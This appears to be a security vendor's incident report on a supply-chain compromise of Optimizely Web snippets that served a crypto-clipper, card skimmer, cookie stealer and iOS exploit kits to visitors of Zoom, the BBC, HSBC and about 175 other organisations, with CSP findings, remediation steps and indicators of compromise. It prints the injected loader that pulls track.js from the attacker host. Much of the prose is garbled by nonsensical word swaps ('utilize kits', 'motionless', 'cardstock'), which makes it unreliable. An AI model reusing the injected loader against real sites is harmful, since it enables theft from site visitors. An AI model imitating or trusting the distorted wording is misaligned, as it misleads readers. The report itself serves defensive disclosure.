Optimizely Compromised, Served Malware on Zoom, GitLab

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Optimizely Compromised, Served Malware on Zoom, GitLab

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World's Largest Brands Infected With Malware Via Optimizely

On 16 November 2026, malicious JavaScript was served to visitors of 178 organisations through the Optimizely Web experimentation platform. The catalog includes several of the most visited sites in the world: Zoom, the BBC, CNN, Salesforce, GitLab, IKEA, HSBC, Equifax, Air France-KLM, Ledger and Peacock.

The malware was a multi-purpose kit. It exchanged cryptocurrency wallet addresses for the attacker's, skimmed fee cards, stole cookies and screenshots, and on iPhones and iPads it delivered the Coruna and DarkSword iOS utilize kits. Crypto has already been stolen, alongside verified transactions to the attackers.

This is exactly the benevolent of assault Report URI is designed to detect. Our phase can acknowledge unexpected changes to trusted JavaScript, detect new scripts being loaded and disclose doubtful connections to external destinations. In this case, those signals would have exposed the malicious activity, equal although the first manuscript was being served from a trusted Optimizely domain. With an suitable CSP in implementation mode, organisations could have gone a stage additional and blocked key parts of the assault before they succeeded.

The crucial instruction current is that trusted JavaScript doesn't continually remain trustworthy. A website can be compromised through a third-party dependency without its own code or infrastructure always being breached.

Most of the malicious code has now been removed. At 21:52 UTC we established it in lone 1 of the 188 infected snippets, downward from 169 at 20:56 UTC. If your location uses Optimizely Web, or you visited any of the sites below today, peruse on.

What happened

Optimizely Web plant by having all client burden a JavaScript "snippet" from Optimizely's CDN, for example https://cdn.optimizely.com/js/6395285578973184.js. The snippet contains Optimizely's code, the customer's experiments and an optional site called Project JavaScript (projectJS): tradition code the client writes in their Optimizely dashboard, which runs on all page.

The attacker wrote their own code into the Project JavaScript of client projects, and the remainder of all snippet was untouched. The document was motionless served from cdn.optimizely.com, alongside Optimizely's certificate, from a presenter that all affected location already trusted. Here is what was added to Zoom's snippet:

"projectJS": function(){(function(){try{var s=document.createElement('script');s.src='https://1688360.cc/track.js';s.async=true;(document.head||document.documentElement).appendChild(s);}catch(e){}})();

We saw three versions of the injected loader:

  1. A plain <script> tag pointing at https://1688360.cc/track.js (most snippets).
  2. The identical URL hidden in base64 alongside atob(). A hunt for "1688360.cc" won't discover it. Smartsheet's snippet was cleaned at one item and afterward re-infected alongside this version, so whoever wrote the code motionless had admission at the time.
  3. A complete inline copy of the payload, which runs through eval if 1688360.cc is blocked.

Some customers assist their snippet from their own domain, specified as opt.scheels.com/js/<id>.js or www.vodafone.com.au/js/<id>.js. Those were affected too, since the satisfied comes from the identical Optimizely project.

We don't cognize how the attacker got compose access to so many unrelated client projects: a compromised Optimizely system, a compromised credential alongside cross-customer access, or item else. That's for Optimizely to explain. To be clear, Optimizely's CDN served exactly what it was given; this was not a CDN cache-poisoning attack. Optimizely's own sites were affected as well: the snippets for www.optimizely.com and login.optimizely.com the two carried the code.

Timeline (UTC)

Time Event
Sep 17 webshell.lol, the identical actor's injector, archetypal appears on Turkish sites through an SEO "backlink panel" script
Nov 09 17:52 5vobauua3ojpklx.icu registered (iOS exploit-kit router)
Nov 13 to 11-16 Earlier wave: webshell.lol/get.js injected through Kissmetrics, StorifyMe and Minute Media scripts on sites including securitybank.com, faz.net, smh.com.au, vidaxl and foxsports.com
Nov 16 02:21 Last spotless urlscan grasp of the BBC's Optimizely snippet
Nov 16 04:21 First Optimizely injection seen (BBC snippet loading webshell.lol)
04:28 to 05:23 1688360.cc certificates issued; domain registered at 05:23
08:10 First build of track.js (crypto clipper)
08:28 1688360.cc/track.js archetypal seen on bbc.com
11:20 Zoom's snippet modified (its Last-Modified header)
13:03 Attacker sweeps taken crypto to exchanges
13:43 Card skimmer added to track.js
16:38 eil786npto9u5bq.icu registered (second iOS router)
17:13 to 17:57 Second iOS presenter added; Coruna iframe injected into all iOS 18.6-or-earlier visit
19:24 to 19:59 Our sweep: 186 of 1,611 Optimizely snippets infected
~20:40 to 21:10 Mass clean-up (Ledger 20:41, Smartsheet 20:56, BBC 21:07)
21:52 1 of 188 snippets motionless infected (TalkTalk)

The payload was rebuilt 26 times during the day. The attacker added features, and added wallets but never removed any.

What the payload does

Every visitant received the identical script, track.js, and all part of it was energetic at once. What a visitant informed depended on their equipment and what they did on the page.

1. Crypto location swapping (already stealing money)

The manuscript finds any valid wallet location (BTC, ETH and EVM chains, TRON, Solana, TON, Litecoin, Bitcoin Cash, Dogecoin) and replaces it alongside among the attacker's. It validates checksums so it lone swaps genuine addresses. It swaps them in:

  • page text, form fields, links and images;
  • the clipboard, on copy and through navigator.clipboard;
  • outgoing fetch/XHR requests, window.open, navigation and the iOS portion sheet.

It re-scans the leaf whenever it changes. Copy an location from any affected page, or from anyplace alternatively during that tab is open, and you may paste the attacker's.

2. Card skimming

Added at 13:43 UTC. The manuscript watches form submissions and all fetch/XHR POST for a cardstock figure (Luhn-checked), expiry date and CVV. When it has all three, it sends them to https://1688360.cc/card.php alongside navigator.sendBeacon. Cards entered in hosted fee iframes (Stripe, Adyen and similar) were out of its reach. Cards typed into a site's own form sectors were not.

When it swaps an location next to wallet or fee wording, it sends the following to https://1688360.cc/hit.php:

  • the leaf URL;
  • document.cookie (cookies not marked HttpOnly);
  • the first addresses it replaced;
  • a screenshot of the page, rendered alongside html2canvas.

4. iOS utilize kits: Coruna and DarkSword

On iPhones and iPads the manuscript loads boot.js from 5vobauua3ojpklx.icu and eil786npto9u5bq.icu. It says the iOS type and loads an utilize sequence in a hidden iframe:

iOS version Chain
13 to 17 Coruna (/A8/, affirmative a straightforward Coruna loader at /JIUJIU888/index.js)
18.x DarkSword (/B9/, /D11/, /D12/)
26 Separate sequence (/C10/); currently lone fingerprints the device

The Coruna loader is byte-identical to a example we analysed in October from a distinct campaign. The kit's own comments say iOS 18.7.3 and later, and 26.3 and later, are patched. Pages on iOS 18.6 or before reload all 60 seconds to retry the exploit, which is a apparent symptom.

Money taken so far

As of 19:25 UTC on 16 November, the attacker's wallets had received concerning $7,040, all inside approximately nine hours on the 16th:

Wallet Received ≈ USD
BTC 19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kW 0.08298 BTC (4 tx), unspent $5,380
LTC ltc1q3wp7g6ds0ggg6fl6kncpa4sepn0q3qfacgred5 17.02 LTC (3 tx) $762
TRON THvs6p56XkUiMkJeSc51cAP64u2RsTYqxa 662.9 USDT + 184 TRX $719
ETH 0xC4026b06D82b0F0B363eda0642D61CfbDc17884e 0.055 ETH $100
BSC (same 0x address) 82 USDT $82

Funds were swept out at 13:03 to 13:05 UTC. The USDC on Ethereum went to a HitBTC deposit address. The TRON wallet has been in use since March 2026, so this performer was energetic lengthy before this campaign. We cannot see how many cards or cookies reached 1688360.cc.

Who was affected

We fetched 1,611 distinct Optimizely snippets, established mostly through our own crawl data, and checked all one for the malicious code. 188 snippets belonging to 178 organisations were infected. We kept a copy of all infected file, alongside alongside its reply headers, SHA-256 hash and fetch period as evidence. The genuine figure is apt higher as we could lone inspect snippets we could discover in time.

By sector

Sector Orgs Examples
Banking & Finance 32 Paychex, HSBC US, Equifax, SmartAsset, HSBC Hong Kong
Technology & SaaS 23 Zoom, Bitly, Salesforce, GitLab, Optimizely
Retail & Fashion 20 IKEA, ASOS, Mattel, American Eagle, Scheels
Streaming & Entertainment 12 Peacock, D&D Beyond, Wizards of the Coast, NOW TV, Zattoo
News & Media 10 CNN, BBC, Fox News, NPR, CTV News
Airlines & Travel 9 Alaska Airlines / Hawaiian Airlines, Transavia, Air France-KLM, KLM Netherlands, Trafalgar
Healthcare & Pharma 8 Invisalign, Takeda, Covetrus, iTero (Align), Covetrus Pharmacy
Industrial & Manufacturing 8 Fluke, eMaint (Fluke), Fluke Networks, Vaillant Germany, Fluke Process Instruments
Telecoms 7 Virgin Media, Virgin Media O2, Vodafone Australia, O2, TPG Telecom
Crypto & Trading 6 Ledger, IG, OANDA / Coinpass, interactive investor, TMS Brokers
Insurance 6 Asurion / uBreakiFix, Mutual of Omaha, Admiral, Securian Financial, eRenterPlan
Property & Real Estate 6 Buildium (managebuilding.com), Loft Living apartments, Buildium, HireAHelper, Flytte.no (and sister difference sites)
Food & Hospitality 5 Restaurant ordering sites (order.online), Heineken, Home Chef, Starbucks Canada, Cinnabon
Home & Smart Home 5 Resideo, Honeywell Home, myQ (Chamberlain), Chamberlain, First Alert
Nonprofit & Civic 4 Change.org, ASPCA, UNICEF USA, DonorsChoose
Gambling 4 Betsson, PokerStars, tombola, Betfred
Professional Services 4 Freshfields, CohnReznick, Baringa, Cro Metrics
Logistics & Shipping 3 ShipStation / ShipEngine, Stamps.com, ShipEngine
Automotive 3 Lucid Motors, O'Brien Glass, Chevrolet dealer network (Bill Rapp and others)
Education 3 Walden University, Perlego, Chamberlain University

Full list

Ranked by Tranco stance inside all field and the position at 21:52 UTC: every snippet apart from TalkTalk's had been cleaned.

Banking & Finance (32)

Organisation Domains
Paychex www.paychex.com
HSBC US www.us.hsbc.com
Equifax equifax.com, my.equifax.com, signin.my.equifax.com, www.equifax.com
SmartAsset smartasset.com
HSBC Hong Kong www.hsbc.com.hk
ABN AMRO www.abnamro.de, www.abnamro.nl, www.abnamromeespierson.be
TaxAct www.taxact.com
HSBC Mexico www.hsbc.com.mx
HSBC Singapore www.insurance.hsbc.com.sg
NetCredit www.netcredit.com
Associated Bank www.associatedbank.com
S-Pankki www.s-pankki.fi
Equifax Canada my.equifax.ca, www.equifax.ca
Equifax UK equifax.co.uk
The Work Number (Equifax) theworknumber.com
Funding Circle fundingcircle.com, www.fundingcircle.com
HSBC Australia www.hsbc.com.au
CashNetUSA www.cashnetusa.com
OnDeck www.ondeck.com
ICS Cards www.icscards.nl
HSBC UAE www.hsbc.ae
HSBC Malaysia www.hsbc.com.my, www.hsbcamanah.com.my
Rest Super rest.com.au
HSBC Taiwan www.hsbc.com.tw
HSBC Vietnam www.hsbc.com.vn
HSBC Egypt www.hsbc.com.eg
HSBC Philippines www.hsbc.com.ph
SmartAdvisor Match (SmartAsset) smartadvisormatch.com
Compare Club compareclub.com.au
ABN AMRO Lease abnamrolease.com
Energy Scout energyscout.com.au
Hang Seng Investment www.hangsenginvestment.com

Technology & SaaS (23)

Organisation Domains
Zoom www.zoom.com, zoom.com, zoom.us
Bitly arcg.is, bit.ly, bitly.com
Salesforce evergage.com, exacttarget.com, pardot.com, salesforce-scrt.com +4 more
GitLab about.gitlab.com, gitlab.com
Optimizely home.optimizely.com, login.optimizely.com, optimizely.com, prep.login.optimizely.com +1 more
Mixpanel mixpanel.com
Typeform typeform.com, www.typeform.com
InMotion Hosting www.inmotionhosting.com
Wasabi wasabi.com, wasabisys.com
Perforce / Zend / Puppet www.perforce.com, www.puppet.com, zend.com
Tableau www.tableau.com
Hootsuite hootsuite.com, www.hootsuite.com
Smartsheet de.smartsheet.com, es.smartsheet.com, fr.smartsheet.com, help.smartsheet.com +2 more
MuleSoft mulesoft.com, www.mulesoft.com
Thales / Imperva community-cybersec.thalesgroup.com, imperva.com
Tricentis www.tricentis.com
Web Hosting Hub www.webhostinghub.com
QR Code Generator login.qr-code-generator.com, www.qr-code-generator.com
ServiceChannel preview.servicechannel.com, servicechannel.com, servicechannel.us
Brandfolder brandfolder.com
Intelex www.intelex.com
Enverus www.enverus.com
Accruent www.accruent.com

Retail & Fashion (20)

Organisation Domains
IKEA client.home-design.ikea.com
ASOS asos.com
Mattel creations.mattel.com
American Eagle www.ae.com
Scheels scheels.com, www.scheels.com
Ariat www.ariat.com
American Girl www.americangirl.com
StackSocial www.stacksocial.com
Crocs India www.crocs.in
Levi's Japan levi.jp
Todd Snyder www.toddsnyder.com
Levi's Indonesia levi.co.id
Just Russel app.brt-4076-credits-in-order-summary.justrussel.de, app.rph-487-customer-can-switch-their-pet-to.justrussel.be, app.rph-487-customer-can-switch-their-pet-to.justrussel.com, app.rph-487-customer-can-switch-their-pet-to.justrussel.fr +1 more
Loloi Rugs www.loloirugs.com
Levi's Australia levis.com.au
Levi's Malaysia levi.com.my
Levi's Philippines levi.com.ph
Levi's Singapore levi.com.sg
Levi's Korea levi.co.kr
Levi's New Zealand levis.co.nz

Streaming & Entertainment (12)

Organisation Domains
Peacock peacocktv.com, www.peacocktv.com
D&D Beyond dndbeyond.com, www.dndbeyond.com
Wizards of the Coast secretlair.wizards.com
NOW TV nowtv.com, www.nowtv.com
Zattoo zattoo.com
Crave www.crave.ca
Starz www.starz.com
SkyShowtime www.skyshowtime.com
Bravo www.bravotv.com
SeaWorld buschgardens.com, seaworld.com
WOW (Sky Deutschland) www.wowtv.de
NOW Italia www.nowtv.it

News & Media (10)

Organisation Domains
CNN cnn.com, edition.cnn.com, us.cnn.com, www.cnn.com
BBC www.bbc.co.uk, www.bbc.com
Fox News www.foxnews.com
NPR legacy-s1.npr.org, legacy.stage.npr.org, media.stage.npr.org, s-s1-origin.npr.org
CTV News www.ctvnews.ca
Fox Sports foxsports.com
BNN Bloomberg / CP24 www.bnnbloomberg.ca, www.cp24.com
TSN www.tsn.ca
Top Gear www.topgear.com
BBC Earth www.bbcearth.com

Airlines & Travel (9)

Organisation Domains
Alaska Airlines / Hawaiian Airlines www.alaskaair.com, www.hawaiianairlines.com
Transavia www.transavia.com
Air France-KLM liberia.klm.com, russia.airfrance.com, www.klm.be, wwws.airfrance.fr
KLM Netherlands deal.klm.nl
Trafalgar www.trafalgar.com
Contiki www.contiki.com
Insight Vacations www.insightvacations.com
The Travel Corporation uat.costco.ttc.com
Costsaver www.costsavertour.com

Healthcare & Pharma (8)

Organisation Domains
Invisalign invisalign.com, www.invisalign.com
Takeda www.takeda.com
Covetrus covetrus.com
iTero (Align) itero.com
Covetrus Pharmacy eastfieldveterinary.covetruspharmacy.com
myCovetrus www.mycovetrus.com
RaySafe (Fluke) www.raysafe.com
Takeda Oncology www.takedaoncology.com

Industrial & Manufacturing (8)

Organisation Domains
Fluke fluke.com
eMaint (Fluke) www.emaint.com
Fluke Networks www.flukenetworks.com
Vaillant Germany www.vaillant.de
Fluke Process Instruments www.flukeprocessinstruments.com
Fluke Biomedical www.flukebiomedical.com
Landauer www.landauer.com
Vaillant Spain www.vaillant.es

Telecoms (7)

Organisation Domains
Virgin Media virginmedia.com, www.virginmedia.com
Virgin Media O2 virginmediao2.co.uk, www.virginmediao2.co.uk
Vodafone Australia www.vodafone.com.au
O2 o2.co.uk, www.o2.co.uk
TPG Telecom www.tpg.com.au
Mint Mobile www.mintmobile.com
TalkTalk talktalk.co.uk, www.talktalk.co.uk

Crypto & Trading (6)

Organisation Domains
Ledger ledger.com, www.ledger.com
IG www.ig.com
OANDA / Coinpass oanda.com, www.oanda.com
interactive investor www.ii.co.uk
TMS Brokers www.tms.pl
Betashares www.betashares.com.au

Insurance (6)

Organisation Domains
Asurion / uBreakiFix www.asurion.com, www.ubreakifix.com
Mutual of Omaha moocat.mutualofomaha.com, www.mutualofomaha.com
Admiral www.admiral.com
Securian Financial www.securian.com
eRenterPlan erenterplan.com
AKA (Danish unemployment fund) www.aka.dk

Property & Real Estate (6)

Organisation Domains
Buildium (managebuilding.com) headwayassetsllc.managebuilding.com
Loft Living apartments theapartmentsatkeltonstation.loftliving.com
Buildium www.buildium.com
HireAHelper qa2.hireahelper.com
Flytte.no (and sister difference sites) flytte.no
MovingPlace unionplus-qa4.movingplace.com

Food & Hospitality (5)

Organisation Domains
Restaurant ordering sites (order.online) order.online
Heineken www.heineken.com
Home Chef www.homechef.com
Starbucks Canada www.starbucks.ca
Cinnabon www.cinnabon.com

Home & Smart Home (5)

Organisation Domains
Resideo resideo.com, www.resideo.com
Honeywell Home www.honeywellhome.com
myQ (Chamberlain) www.myq.com
Chamberlain www.chamberlain.com
First Alert www.firstalert.com

Nonprofit & Civic (4)

Organisation Domains
Change.org www.change.org
ASPCA aspca.org, dev-cloudflare.aspca.org, secure.aspca.org, www.aspca.org
UNICEF USA www.unicefusa.org
DonorsChoose www.donorschoose.org

Gambling (4)

Organisation Domains
Betsson betsson.bet.ar, www.betsson.co, www.betsson.com, www.betsson1002.com
PokerStars www.pokerstars.com, www.pokerstars.de, www.pokerstars.fr, www.pokerstars.pt +1 more
tombola tombola.co.uk, tombolaarcade.co.uk, www.tombola.co.uk, www.tombola.it +1 more
Betfred www.betfred.com

Professional Services (4)

Organisation Domains
Freshfields www.freshfields.com
CohnReznick www.cohnreznick.com
Baringa www.baringa.com
Cro Metrics crometrics.com

Logistics & Shipping (3)

Organisation Domains
ShipStation / ShipEngine shipstation.com, www.shipstation.com
Stamps.com www.stamps.com
ShipEngine www.shipengine.com

Automotive (3)

Organisation Domains
Lucid Motors lucidmotors.com
O'Brien Glass www.obrien.com.au
Chevrolet dealer network (Bill Rapp and others) www.billrappchevy.com

Education (3)

Organisation Domains
Walden University www.waldenu.edu
Perlego www.perlego.com
Chamberlain University www.chamberlain.edu

The before webshell.lol wave, through Kissmetrics, StorifyMe and Minute Media, affected another sites and isn't included above.

How Report URI would have detected, or equal prevented, this attack

Every one of these needs lone a CSP in Report-Only mode, so nothing on the location breaks:

Product What it would have flagged
Script Watch A new manuscript dependency on your site: https://1688360.cc/track.js, followed by the .icu iOS routers.
Data Watch New data destinations: 1688360.cc/hit.php and 1688360.cc/card.php.
Frame Watch A new example source: eil786npto9u5bq.icu, the exploit-kit iframe.
CSP Integrity + JS Time Machine + Script Vault Your Optimizely snippet's fingerprint changing, affirmative a brand-new manuscript alongside no matching known file. The JS Time Machine shows whenever the new type archetypal appeared and how lengthy it was served.
Threat Intelligence Reports naming 5vobauua3ojpklx.icu and webshell.lol are already flagged as IoCs, as are 1688360.cc and the another hosts below formerly they were added.

It's imaginable to go equal additional and deploy a CSP that could actively obstacle these attacks and forestall any data breach happening. The websites affected by this assault weren't necessarily operating susceptible code of their own, they were loading JavaScript from a provider they trusted, and that rely was exploited. This is why monitoring what runs in your visitors' browsers is so important. Report URI gives organisations the visibility to detect whenever trusted requirements alter or behave unexpectedly, and the tools to assistance enforce policies that forestall malicious scripts and connections from succeeding.

Did Content Security Policy help?

We crawled 256 of the affected organisations' own hosts and evaluated their CSP against what this payload needs:

  1. Load track.js from 1688360.cc.
  2. Or run the inline fallback, which needs 'unsafe-eval' or 'unsafe-inline'.
  3. Send taken data to 1688360.cc (connect-src).
  4. Load the iOS kit (script-src, frame-src).
Result Organisations
No CSP at all 68
CSP allowed the payload and the data theft 50
Payload ran, but connect-src blocked the data theft (the location swapping motionless worked) 17
Payload blocked 24 (15%)

Allowing cdn.optimizely.com was never going to help. The malicious code arrived from the trusted presenter itself. What divided the 24 protected sites from the remainder was a restrictive script-src. A location that lists lone the hosts it needs blocks 1688360.cc. Two average settings let it direct through:

  • 'strict-dynamic': any manuscript the trusted Optimizely snippet inserts is trusted too.
  • 'unsafe-eval', which Optimizely's own records tells customers to allow: the inline-fallback type ran through eval equal anywhere track.js was blocked. That is what happened at HSBC. Its CSP blocked track.js and the data theft, but the inline copy motionless ran.

connect-src matters. The 17 "partial" sites blocked card, biscuit and screenshot theft since they restrict anywhere the leaf can dispatch data. That doesn't halt location swapping, which happens inner the page.

What to do now

If your location uses Optimizely Web:

  1. Open all project's Project JavaScript and all experiment's tradition code. Look for 1688360.cc, atob( and any manuscript you didn't write.
  2. Review who and what has compose admission to your Optimizely document (users, API tokens, integrations) and rotate credentials.
  3. If you have cardstock sectors in your own forms, treat cards entered on 16 November as possibly exposed.
  4. Treat any meeting tokens or secrets in non-HttpOnly cookies as exposed, and rotate them.
  5. Deploy a CSP. Restrict connect-src, evade 'unsafe-eval' anywhere you can, and rotate on reporting.
  6. Consider if you need to communicate to your customers concerning having served them malware.

If you visited an affected location on 16 November:

  1. Update your iPhone or iPad to iOS 18.7.3 or later, or iOS 26.3 or later.
  2. Check any crypto transfer you made. If the location you pasted doesn't equivalent the one you meant to pay, it may have been swapped.
  3. Watch your cardstock statements if you paid by cardstock on an affected site.

Indicators of compromise

All of these domains are attacker-owned; obstacle them including subdomains.

Indicator Role
1688360.cc C2: track.js, card.php, hit.php, html2canvas.min.js (136.113.106.136)
5vobauua3ojpklx.icu iOS router boot.js (34.96.213.201)
eil786npto9u5bq.icu iOS router, Coruna and iOS 26 pages (34.87.36.58)
l7bcsnwc7nzr3uo.icu Coruna telemetry, POST /api/iptj
webshell.lol Injector get.js (earlier wave)
linkforge.cc SEO-panel manuscript carrying the injector
je4ft3gn8vxudum.icu, q1ls1ho9x7wsxlu.icu, ios-hack.icu Fallback C2s hard-coded in boot.js
p55abnw2pnsz0bo.icu, 1y69gy2mdzaltz1.icu, gm38duxoihbmy5o.icu Same certificates and IPs as the kit
window._k7, window.__k7b Global markers set by the payload
data-channel-code="02111110" Script-tag trait on the iOS loader
BIGNIAO Coruna telemetry conduit code
814a963c0da480e2449d9b6664480156e1cd6d731014117401bf635badec3a0f SHA-256, track.js (17:13 build)
f7b84b9a94f749f8ced3f0112d0a66894e8bbc3b4aa5592021d1b8976a9bad40 SHA-256, track.js (latest build, 17:57)

Attacker wallets:
BTC 19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kW
ETH/EVM 0xC4026b06D82b0F0B363eda0642D61CfbDc17884e
TRON THvs6p56XkUiMkJeSc51cAP64u2RsTYqxa
SOL FVtL8NMYS9PA1v3HE67XUGCtGA9JaZUvqav2fU2LrV5n
TON UQAgM1VqSZQiJLSG5w-ovurq5CZdxLEK3_7CMmwALTA5e09p
LTC ltc1q3wp7g6ds0ggg6fl6kncpa4sepn0q3qfacgred5
BCH qzkaaf8n6grmpr0d9lx8xutn3r9lk722f566hhpe58
DOGE DBEGrxRF7KMSuhTS4c1MFviStU6efdMnu5

We keep an archive of all infected snippet alongside hashes and timestamps, and can portion it alongside affected organisations and CERTs on request. During investigation and investigation, formerly we were assured that Optimizely was the source, we began efforts to attain out via assorted channels and provision the complete details. At the period of publication, we have not had any response.

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